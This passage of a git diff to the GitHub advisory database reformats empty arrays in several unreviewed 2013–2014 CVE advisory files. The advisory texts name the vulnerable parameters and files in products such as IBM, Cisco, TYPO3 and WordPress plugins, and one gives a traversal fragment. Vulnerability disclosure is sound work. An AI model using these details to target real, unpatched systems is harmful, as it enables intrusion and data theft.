} ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-fqwv-r262-9xm8/GHSA-fqwv-r262-9xm8.json b/advisories/unreviewed/2022/05/GHSA-fqwv-r262-9xm8/GHSA-fqwv-r262-9xm8.json index 83a6f2fad71..bc734b45d95 100644 --- a/advisories/unreviewed/2022/05/GHSA-fqwv-r262-9xm8/GHSA-fqwv-r262-9xm8.json +++ b/advisories/unreviewed/2022/05/GHSA-fqwv-r262-9xm8/GHSA-fqwv-r262-9xm8.json @@ -7,12 +7,8 @@ "CVE-2013-4057" ], "details": "Cross-site request forgery (CSRF) vulnerability in the XML Pack in IBM InfoSphere Information Server 8.5.x through 8.5 FP3, 8.7.x through 8.7 FP2, and 9.1.x through 9.1.2.0 allows remote attackers to hijack the authentication of arbitrary users.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fr4p-9696-xcx8/GHSA-fr4p-9696-xcx8.json b/advisories/unreviewed/2022/05/GHSA-fr4p-9696-xcx8/GHSA-fr4p-9696-xcx8.json index 6a8ba0b4a39..686d6dd15f2 100644 --- a/advisories/unreviewed/2022/05/GHSA-fr4p-9696-xcx8/GHSA-fr4p-9696-xcx8.json +++ b/advisories/unreviewed/2022/05/GHSA-fr4p-9696-xcx8/GHSA-fr4p-9696-xcx8.json @@ -7,12 +7,8 @@ "CVE-2013-5300" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in AlienVault Open Source Security Information Management (OSSIM) before 4.3.0 allow remote attackers to inject arbitrary web script or HTML via the withoutmenu parameter to (1) vulnmeter/index.php or (2) vulnmeter/sched.php; the (3) section parameter to av_inventory/task_edit.php; the (4) profile parameter to nfsen/rrdgraph.php; or the (5) scan_server or (6) targets parameter to vulnmeter/simulate.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fr89-rjq8-j557/GHSA-fr89-rjq8-j557.json b/advisories/unreviewed/2022/05/GHSA-fr89-rjq8-j557/GHSA-fr89-rjq8-j557.json index 6cbc1c16b8b..81678536858 100644 --- a/advisories/unreviewed/2022/05/GHSA-fr89-rjq8-j557/GHSA-fr89-rjq8-j557.json +++ b/advisories/unreviewed/2022/05/GHSA-fr89-rjq8-j557/GHSA-fr89-rjq8-j557.json @@ -7,12 +7,8 @@ "CVE-2013-3923" ], "details": "Directory traversal vulnerability in SavySoda WiFi HD Free before 7.0 allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-frrg-xqx2-fggp/GHSA-frrg-xqx2-fggp.json b/advisories/unreviewed/2022/05/GHSA-frrg-xqx2-fggp/GHSA-frrg-xqx2-fggp.json index 25d8bdb8a5f..6f81f2daaa2 100644 --- a/advisories/unreviewed/2022/05/GHSA-frrg-xqx2-fggp/GHSA-frrg-xqx2-fggp.json +++ b/advisories/unreviewed/2022/05/GHSA-frrg-xqx2-fggp/GHSA-frrg-xqx2-fggp.json @@ -7,12 +7,8 @@ "CVE-2013-2594" ], "details": "SQL injection vulnerability in reports/calldiary.php in Hornbill Supportworks ITSM 1.0.0 through 3.4.14 allows remote attackers to execute arbitrary SQL commands via the callref parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-frwq-f82c-gmmr/GHSA-frwq-f82c-gmmr.json b/advisories/unreviewed/2022/05/GHSA-frwq-f82c-gmmr/GHSA-frwq-f82c-gmmr.json index 7c76e9151dc..99b42a93e29 100644 --- a/advisories/unreviewed/2022/05/GHSA-frwq-f82c-gmmr/GHSA-frwq-f82c-gmmr.json +++ b/advisories/unreviewed/2022/05/GHSA-frwq-f82c-gmmr/GHSA-frwq-f82c-gmmr.json @@ -7,12 +7,8 @@ "CVE-2013-5376" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Storwize V7000 Unified 1.3.x and 1.4.x before 1.4.2.0 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, related to a \"cross frame scripting\" attack against an administrative user.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fvhw-xrfv-jv2r/GHSA-fvhw-xrfv-jv2r.json b/advisories/unreviewed/2022/05/GHSA-fvhw-xrfv-jv2r/GHSA-fvhw-xrfv-jv2r.json index 59207a95688..05785d5bc8f 100644 --- a/advisories/unreviewed/2022/05/GHSA-fvhw-xrfv-jv2r/GHSA-fvhw-xrfv-jv2r.json +++ b/advisories/unreviewed/2022/05/GHSA-fvhw-xrfv-jv2r/GHSA-fvhw-xrfv-jv2r.json @@ -7,12 +7,8 @@ "CVE-2013-4721" ], "details": "SQL injection vulnerability in the RSS feed from records extension 1.0.0 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g22h-22vf-v6vp/GHSA-g22h-22vf-v6vp.json b/advisories/unreviewed/2022/05/GHSA-g22h-22vf-v6vp/GHSA-g22h-22vf-v6vp.json index dfe81247fcd..fdd96008a62 100644 --- a/advisories/unreviewed/2022/05/GHSA-g22h-22vf-v6vp/GHSA-g22h-22vf-v6vp.json +++ b/advisories/unreviewed/2022/05/GHSA-g22h-22vf-v6vp/GHSA-g22h-22vf-v6vp.json @@ -7,12 +7,8 @@ "CVE-2013-2501" ], "details": "Cross-site scripting (XSS) vulnerability in the Terillion Reviews plugin before 1.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ProfileId field.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g27j-q6fv-ccq8/GHSA-g27j-q6fv-ccq8.json b/advisories/unreviewed/2022/05/GHSA-g27j-q6fv-ccq8/GHSA-g27j-q6fv-ccq8.json index a5888d2ba9a..130877b793c 100644 --- a/advisories/unreviewed/2022/05/GHSA-g27j-q6fv-ccq8/GHSA-g27j-q6fv-ccq8.json +++ b/advisories/unreviewed/2022/05/GHSA-g27j-q6fv-ccq8/GHSA-g27j-q6fv-ccq8.json @@ -7,12 +7,8 @@ "CVE-2013-6243" ], "details": "SQL injection vulnerability in the Landing Pages plugin 1.2.3, before 20131009, and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the \"post\" parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g2pj-c34g-2wxj/GHSA-g2pj-c34g-2wxj.json b/advisories/unreviewed/2022/05/GHSA-g2pj-c34g-2wxj/GHSA-g2pj-c34g-2wxj.json index 52ad6ae6a21..b15741b4384 100644 --- a/advisories/unreviewed/2022/05/GHSA-g2pj-c34g-2wxj/GHSA-g2pj-c34g-2wxj.json +++ b/advisories/unreviewed/2022/05/GHSA-g2pj-c34g-2wxj/GHSA-g2pj-c34g-2wxj.json @@ -7,12 +7,8 @@ "CVE-2013-5422" ], "details": "The Web Client in IBM Rational ClearQuest 7.1 through 7.1.2.12, 8.0.0.x before 8.0.0.9, and 8.0.1.x before 8.0.1.2, when a multi-database dataset exists, allows remote attackers to read database names via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g2q3-997x-mr4h/GHSA-g2q3-997x-mr4h.json b/advisories/unreviewed/2022/05/GHSA-g2q3-997x-mr4h/GHSA-g2q3-997x-mr4h.json index 235bd7b72c3..39041ebde27 100644 --- a/advisories/unreviewed/2022/05/GHSA-g2q3-997x-mr4h/GHSA-g2q3-997x-mr4h.json +++ b/advisories/unreviewed/2022/05/GHSA-g2q3-997x-mr4h/GHSA-g2q3-997x-mr4h.json @@ -7,12 +7,8 @@ "CVE-2013-5504" ], "details": "Cross-site scripting (XSS) vulnerability in the Mobile Device Management (MDM) portal in Cisco Identity Services Engine (ISE) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCui30266.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g35j-62p9-cr5h/GHSA-g35j-62p9-cr5h.json b/advisories/unreviewed/2022/05/GHSA-g35j-62p9-cr5h/GHSA-g35j-62p9-cr5h.json index cf491088d46..210935c96c4 100644 --- a/advisories/unreviewed/2022/05/GHSA-g35j-62p9-cr5h/GHSA-g35j-62p9-cr5h.json +++ b/advisories/unreviewed/2022/05/GHSA-g35j-62p9-cr5h/GHSA-g35j-62p9-cr5h.json @@ -7,12 +7,8 @@ "CVE-2013-4174" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Scald module 7.x-1.x before 7.x-1.1 for Drupal allow remote attackers to inject arbitrary web script or HTML via the (1) flash_uri, (2) flash_width, or (3) flash_height in the scald_flash_scald_prerender function in providers/scald_flash/scald_flash.module; or the (4) caption in the scald_image_scald_prerender function in providers/scald_image/scald_image.module.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g3jw-v8qc-cq3w/GHSA-g3jw-v8qc-cq3w.json b/advisories/unreviewed/2022/05/GHSA-g3jw-v8qc-cq3w/GHSA-g3jw-v8qc-cq3w.json index 316472ddda9..34cd414acd0 100644 --- a/advisories/unreviewed/2022/05/GHSA-g3jw-v8qc-cq3w/GHSA-g3jw-v8qc-cq3w.json +++ b/advisories/unreviewed/2022/05/GHSA-g3jw-v8qc-cq3w/GHSA-g3jw-v8qc-cq3w.json @@ -7,12 +7,8 @@ "CVE-2014-0655" ], "details": "The Identity Firewall (IDFW) functionality in Cisco Adaptive Security Appliance (ASA) Software allows remote attackers to change the user-cache contents via a replay attack involving crafted RADIUS Change of Authorization (CoA) messages, aka Bug ID CSCuj45332.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g7r6-c6j7-94hw/GHSA-g7r6-c6j7-94hw.json b/advisories/unreviewed/2022/05/GHSA-g7r6-c6j7-94hw/GHSA-g7r6-c6j7-94hw.json index 4aaf44eeb6f..ae5f0b9699e 100644 --- a/advisories/unreviewed/2022/05/GHSA-g7r6-c6j7-94hw/GHSA-g7r6-c6j7-94hw.json +++ b/advisories/unreviewed/2022/05/GHSA-g7r6-c6j7-94hw/GHSA-g7r6-c6j7-94hw.json @@ -7,12 +7,8 @@ "CVE-2013-2158" ], "details": "Cross-site request forgery (CSRF) vulnerability in the Services module 6.x-3.x and 7.x-3.x before 7.x-3.4 for Drupal allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g7wx-w9gv-h2x2/GHSA-g7wx-w9gv-h2x2.json b/advisories/unreviewed/2022/05/GHSA-g7wx-w9gv-h2x2/GHSA-g7wx-w9gv-h2x2.json index cb516619f03..8488bf2c953 100644 --- a/advisories/unreviewed/2022/05/GHSA-g7wx-w9gv-h2x2/GHSA-g7wx-w9gv-h2x2.json +++ b/advisories/unreviewed/2022/05/GHSA-g7wx-w9gv-h2x2/GHSA-g7wx-w9gv-h2x2.json @@ -7,12 +7,8 @@ "CVE-2013-3727" ], "details": "SQL injection vulnerability in Kasseler CMS before 2 r1232 allows remote authenticated users to execute arbitrary SQL commands via the groups[] parameter to admin.php. NOTE: this can be leveraged using CSRF to allow remote unauthenticated attackers to execute arbitrary SQL commands.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g96h-jq4g-g8p9/GHSA-g96h-jq4g-g8p9.json b/advisories/unreviewed/2022/05/GHSA-g96h-jq4g-g8p9/GHSA-g96h-jq4g-g8p9.json index caf424daad2..a258a1ba9ae 100644 --- a/advisories/unreviewed/2022/05/GHSA-g96h-jq4g-g8p9/GHSA-g96h-jq4g-g8p9.json +++ b/advisories/unreviewed/2022/05/GHSA-g96h-jq4g-g8p9/GHSA-g96h-jq4g-g8p9.json @@ -7,12 +7,8 @@ "CVE-2013-4223" ], "details": "The Gentoo Nullmailer package before 1.11-r2 uses world-readable permissions for /etc/nullmailer/remotes, which allows local users to obtain SMTP authentication credentials by reading the file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-g9gh-84qj-827r/GHSA-g9gh-84qj-827r.json b/advisories/unreviewed/2022/05/GHSA-g9gh-84qj-827r/GHSA-g9gh-84qj-827r.json index 13bac099d1a..a71274ee411 100644 --- a/advisories/unreviewed/2022/05/GHSA-g9gh-84qj-827r/GHSA-g9gh-84qj-827r.json +++ b/advisories/unreviewed/2022/05/GHSA-g9gh-84qj-827r/GHSA-g9gh-84qj-827r.json @@ -7,12 +7,8 @@ "CVE-2013-7388" ], "details": "Heap-based buffer overflow in paintlib, as used in Trimble SketchUp (formerly Google SketchUp) before 2013 (13.0.3689), allows remote attackers to execute arbitrary code via a crafted RLE4-compressed bitmap (BMP). NOTE: this issue was SPLIT from CVE-2013-3664 due to different affected products and codebases (ADT1).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-g9qg-48f9-44pg/GHSA-g9qg-48f9-44pg.json b/advisories/unreviewed/2022/05/GHSA-g9qg-48f9-44pg/GHSA-g9qg-48f9-44pg.json index 59226cbb784..905c535d66e 100644 --- a/advisories/unreviewed/2022/05/GHSA-g9qg-48f9-44pg/GHSA-g9qg-48f9-44pg.json +++ b/advisories/unreviewed/2022/05/GHSA-g9qg-48f9-44pg/GHSA-g9qg-48f9-44pg.json @@ -7,12 +7,8 @@ "CVE-2013-4038" ], "details": "The Intelligent Platform Management Interface (IPMI) implementation in Integrated Management Module (IMM) on IBM BladeCenter, Flex System, System x iDataPlex, and System x3### servers uses cleartext for password storage, which allows context-dependent attackers to obtain sensitive information by reading a file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gc9m-44j8-f7m9/GHSA-gc9m-44j8-f7m9.json b/advisories/unreviewed/2022/05/GHSA-gc9m-44j8-f7m9/GHSA-gc9m-44j8-f7m9.json index ac17d0119b6..d61d033ebe8 100644 --- a/advisories/unreviewed/2022/05/GHSA-gc9m-44j8-f7m9/GHSA-gc9m-44j8-f7m9.json +++ b/advisories/unreviewed/2022/05/GHSA-gc9m-44j8-f7m9/GHSA-gc9m-44j8-f7m9.json @@ -7,12 +7,8 @@ "CVE-2013-5303" ], "details": "Unspecified vulnerability in the Store Locator (locator) extension before 3.1.5 for TYPO3 has unknown impact and remote attack vectors, related to \"Insecure Unserialize.\"", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gcm5-w3f4-h48v/GHSA-gcm5-w3f4-h48v.json b/advisories/unreviewed/2022/05/GHSA-gcm5-w3f4-h48v/GHSA-gcm5-w3f4-h48v.json index 53c92f22b22..59004f012de 100644 --- a/advisories/unreviewed/2022/05/GHSA-gcm5-w3f4-h48v/GHSA-gcm5-w3f4-h48v.json +++ b/advisories/unreviewed/2022/05/GHSA-gcm5-w3f4-h48v/GHSA-gcm5-w3f4-h48v.json @@ -7,12 +7,8 @@ "CVE-2013-3444" ], "details": "The web framework in Cisco WAAS Software before 4.x and 5.x before 5.0.3e, 5.1.x before 5.1.1c, and 5.2.x before 5.2.1; Cisco ACNS Software 4.x and 5.x before 5.5.29.2; Cisco ECDS Software 2.x before 2.5.6; Cisco CDS-IS Software 2.x before 2.6.3.b50 and 3.1.x before 3.1.2b54; Cisco VDS-IS Software 3.2.x before 3.2.1.b9; Cisco VDS-SB Software 1.x before 1.1.0-b96; Cisco VDS-OE Software 1.x before 1.0.1; and Cisco VDS-OS Software 1.x in central-management mode allows remote authenticated users to execute arbitrary commands by appending crafted strings to values in GUI fields, aka Bug IDs CSCug40609, CSCug48855, CSCug48921, CSCug48872, CSCuh21103, CSCuh21020, and CSCug56790.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gcp6-v7cm-cr56/GHSA-gcp6-v7cm-cr56.json b/advisories/unreviewed/2022/05/GHSA-gcp6-v7cm-cr56/GHSA-gcp6-v7cm-cr56.json index ff3a0f413bc..a95c2713044 100644 --- a/advisories/unreviewed/2022/05/GHSA-gcp6-v7cm-cr56/GHSA-gcp6-v7cm-cr56.json +++ b/advisories/unreviewed/2022/05/GHSA-gcp6-v7cm-cr56/GHSA-gcp6-v7cm-cr56.json @@ -7,12 +7,8 @@ "CVE-2013-5446" ], "details": "The console on IBM WebSphere DataPower XC10 appliances 2.1.0 and 2.5.0 does not properly process logoff actions, which has unspecified impact and remote attack vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gf44-5pfx-c922/GHSA-gf44-5pfx-c922.json b/advisories/unreviewed/2022/05/GHSA-gf44-5pfx-c922/GHSA-gf44-5pfx-c922.json index 135d772c902..3b2ddeacd47 100644 --- a/advisories/unreviewed/2022/05/GHSA-gf44-5pfx-c922/GHSA-gf44-5pfx-c922.json +++ b/advisories/unreviewed/2022/05/GHSA-gf44-5pfx-c922/GHSA-gf44-5pfx-c922.json @@ -7,12 +7,8 @@ "CVE-2013-7269" ], "details": "The nr_recvmsg function in net/netrom/af_netrom.c in the Linux kernel before 3.12.4 updates a certain length value without ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gfcp-pv7m-mfxm/GHSA-gfcp-pv7m-mfxm.json b/advisories/unreviewed/2022/05/GHSA-gfcp-pv7m-mfxm/GHSA-gfcp-pv7m-mfxm.json index 62f48355841..20913bf817b 100644 --- a/advisories/unreviewed/2022/05/GHSA-gfcp-pv7m-mfxm/GHSA-gfcp-pv7m-mfxm.json +++ b/advisories/unreviewed/2022/05/GHSA-gfcp-pv7m-mfxm/GHSA-gfcp-pv7m-mfxm.json @@ -7,12 +7,8 @@ "CVE-2013-3784" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise HRMS component in Oracle PeopleSoft Products 9.1 allows remote authenticated users to affect confidentiality and integrity via unknown vectors Time and Labor.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gfjh-prwr-5vfg/GHSA-gfjh-prwr-5vfg.json b/advisories/unreviewed/2022/05/GHSA-gfjh-prwr-5vfg/GHSA-gfjh-prwr-5vfg.json index 0b8df364798..44797d9c28c 100644 --- a/advisories/unreviewed/2022/05/GHSA-gfjh-prwr-5vfg/GHSA-gfjh-prwr-5vfg.json +++ b/advisories/unreviewed/2022/05/GHSA-gfjh-prwr-5vfg/GHSA-gfjh-prwr-5vfg.json @@ -7,12 +7,8 @@ "CVE-2013-6721" ], "details": "Cross-site scripting (XSS) vulnerability in IBM WebSphere Service Registry and Repository (WSRR) 7.5.x before 7.5.0.4 and 8.x through 8.0.0.2 allows remote authenticated users to inject arbitrary web script or HTML via vectors involving widgets.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-ggvm-gvh9-pjgw/GHSA-ggvm-gvh9-pjgw.json b/advisories/unreviewed/2022/05/GHSA-ggvm-gvh9-pjgw/GHSA-ggvm-gvh9-pjgw.json index 853017185a9..07367741712 100644 --- a/advisories/unreviewed/2022/05/GHSA-ggvm-gvh9-pjgw/GHSA-ggvm-gvh9-pjgw.json +++ b/advisories/unreviewed/2022/05/GHSA-ggvm-gvh9-pjgw/GHSA-ggvm-gvh9-pjgw.json @@ -7,12 +7,8 @@ "CVE-2013-7034" ], "details": "The setCookieValue function in _lib/functions.global.inc.php in LiveZilla before 5.1.2.1 allows remote attackers to execute arbitrary PHP code via a serialized PHP object in a cookie.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gj3g-f445-3rm6/GHSA-gj3g-f445-3rm6.json b/advisories/unreviewed/2022/05/GHSA-gj3g-f445-3rm6/GHSA-gj3g-f445-3rm6.json index c7a41aeb3ca..7f9d49ab6f3 100644 --- a/advisories/unreviewed/2022/05/GHSA-gj3g-f445-3rm6/GHSA-gj3g-f445-3rm6.json +++ b/advisories/unreviewed/2022/05/GHSA-gj3g-f445-3rm6/GHSA-gj3g-f445-3rm6.json @@ -7,12 +7,8 @@ "CVE-2013-5404" ], "details": "Cross-site scripting (XSS) vulnerability in the search implementation in IBM Rational Quality Manager (RQM) 2.0 through 2.0.1.1, 3.x before 3.0.1.6 iFix 1, and 4.x before 4.0.5, as used in Rational Team Concert, Rational Requirements Composer, and other products, allows remote authenticated users to inject arbitrary web script or HTML via vectors involving an IFRAME element.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gjjr-q2w8-j63j/GHSA-gjjr-q2w8-j63j.json b/advisories/unreviewed/2022/05/GHSA-gjjr-q2w8-j63j/GHSA-gjjr-q2w8-j63j.json index 0ecc01e0982..893515c92e3 100644 --- a/advisories/unreviewed/2022/05/GHSA-gjjr-q2w8-j63j/GHSA-gjjr-q2w8-j63j.json +++ b/advisories/unreviewed/2022/05/GHSA-gjjr-q2w8-j63j/GHSA-gjjr-q2w8-j63j.json @@ -7,12 +7,8 @@ "CVE-2013-4059" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in IBM InfoSphere Information Server 8.x through 8.5 FP3, 8.7.x through 8.7 FP2, and 9.1.x through 9.1.2.0 allow remote attackers to inject arbitrary web script or HTML via unspecified interfaces.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gphq-xrj6-5g4j/GHSA-gphq-xrj6-5g4j.json b/advisories/unreviewed/2022/05/GHSA-gphq-xrj6-5g4j/GHSA-gphq-xrj6-5g4j.json index 2bf023d8e2d..9a0cb8fb7e5 100644 --- a/advisories/unreviewed/2022/05/GHSA-gphq-xrj6-5g4j/GHSA-gphq-xrj6-5g4j.json +++ b/advisories/unreviewed/2022/05/GHSA-gphq-xrj6-5g4j/GHSA-gphq-xrj6-5g4j.json @@ -7,12 +7,8 @@ "CVE-2013-7300" ], "details": "Absolute path traversal vulnerability in cantata before 1.2.2 allows local users to read arbitrary files via a full pathname in a request to the internal httpd server. NOTE: this vulnerability can be leveraged by remote attackers using CVE-2013-7301.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gpp2-24hp-pgpg/GHSA-gpp2-24hp-pgpg.json b/advisories/unreviewed/2022/05/GHSA-gpp2-24hp-pgpg/GHSA-gpp2-24hp-pgpg.json index 4a897911e66..651747937d7 100644 --- a/advisories/unreviewed/2022/05/GHSA-gpp2-24hp-pgpg/GHSA-gpp2-24hp-pgpg.json +++ b/advisories/unreviewed/2022/05/GHSA-gpp2-24hp-pgpg/GHSA-gpp2-24hp-pgpg.json @@ -7,12 +7,8 @@ "CVE-2013-3821" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect confidentiality and availability via unknown vectors related to Integration Broker.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gqfx-f256-7x72/GHSA-gqfx-f256-7x72.json b/advisories/unreviewed/2022/05/GHSA-gqfx-f256-7x72/GHSA-gqfx-f256-7x72.json index 1cb70c80f10..20d0f4986aa 100644 --- a/advisories/unreviewed/2022/05/GHSA-gqfx-f256-7x72/GHSA-gqfx-f256-7x72.json +++ b/advisories/unreviewed/2022/05/GHSA-gqfx-f256-7x72/GHSA-gqfx-f256-7x72.json @@ -7,12 +7,8 @@ "CVE-2013-3659" ], "details": "The NTT DOCOMO overseas usage application 2.0.0 through 2.0.4 for Android does not properly connect to Wi-Fi access points, which allows remote attackers to obtain sensitive information by leveraging presence in an 802.11 network's coverage area.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gqq2-h9c3-4cm4/GHSA-gqq2-h9c3-4cm4.json b/advisories/unreviewed/2022/05/GHSA-gqq2-h9c3-4cm4/GHSA-gqq2-h9c3-4cm4.json index 93f1412cf66..e74887709b4 100644 --- a/advisories/unreviewed/2022/05/GHSA-gqq2-h9c3-4cm4/GHSA-gqq2-h9c3-4cm4.json +++ b/advisories/unreviewed/2022/05/GHSA-gqq2-h9c3-4cm4/GHSA-gqq2-h9c3-4cm4.json @@ -7,12 +7,8 @@ "CVE-2013-4068" ], "details": "Buffer overflow in iNotes in IBM Domino 8.5.3 before FP5 IF1 and 9.0 before IF4 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka SPR PTHN9ADPA8.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gr4m-4v8m-834r/GHSA-gr4m-4v8m-834r.json b/advisories/unreviewed/2022/05/GHSA-gr4m-4v8m-834r/GHSA-gr4m-4v8m-834r.json index b2cad3cbcee..db50de064c6 100644 --- a/advisories/unreviewed/2022/05/GHSA-gr4m-4v8m-834r/GHSA-gr4m-4v8m-834r.json +++ b/advisories/unreviewed/2022/05/GHSA-gr4m-4v8m-834r/GHSA-gr4m-4v8m-834r.json @@ -7,12 +7,8 @@ "CVE-2013-4801" ], "details": "Unspecified vulnerability in HP LoadRunner before 11.52 allows remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1736.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gr8h-936h-5xx4/GHSA-gr8h-936h-5xx4.json b/advisories/unreviewed/2022/05/GHSA-gr8h-936h-5xx4/GHSA-gr8h-936h-5xx4.json index 7abf7f83e46..167b0cbc700 100644 --- a/advisories/unreviewed/2022/05/GHSA-gr8h-936h-5xx4/GHSA-gr8h-936h-5xx4.json +++ b/advisories/unreviewed/2022/05/GHSA-gr8h-936h-5xx4/GHSA-gr8h-936h-5xx4.json @@ -7,12 +7,8 @@ "CVE-2013-5407" ], "details": "IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 do not properly restrict use of FRAME elements, which allows remote authenticated users to bypass intended access restrictions or obtain sensitive information via a crafted web site, related to a \"frame injection\" issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gr95-2p5v-jmcg/GHSA-gr95-2p5v-jmcg.json 